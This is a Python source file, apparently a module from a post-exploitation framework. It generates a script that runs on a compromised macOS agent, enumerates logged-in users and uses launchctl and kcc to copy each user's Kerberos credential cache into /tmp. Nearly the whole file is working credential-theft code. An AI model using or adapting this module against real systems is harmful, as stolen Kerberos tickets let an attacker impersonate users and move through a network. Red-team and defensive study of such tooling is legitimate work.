Files
2017-09-21 22:59:08 -04:00

97 lines
3.2 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Dump Kerberos Tickets',
# list of one or more authors for the module
'Author': ['@424f424f,@gentilkiwi'],
# more verbose multi-line description of the module
'Description': ('This module will dump ccache kerberos'
'tickets to the specified directory'),
# True if the module needs to run in the background
'Background': False,
# File extension to save the file as
'OutputExtension': None,
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': False,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': [
'Thanks to @gentilkiwi for pointing this out!'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to grab a tickets from.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
script = """
import subprocess
kerbdump = \"""
ps auxwww |grep /loginwindow |grep -v "grep /loginwindow" |while read line
do
USER=`echo "$line" | awk '{print $1}'`
PID=`echo "$line" | awk '{print $2}'`
USERID=`id -u "$USER"`
launchctl asuser $USERID kcc copy_cred_cache /tmp/$USER.ccache
done
""\"
try:
print "Executing..."
output = subprocess.Popen(kerbdump, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read()
print output
except Exception as e:
print e
try:
print "Listing available kerberos files.."
output = subprocess.Popen('ls /tmp/*.ccache', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read()
print output
except Exception as e:
print e
"""
return script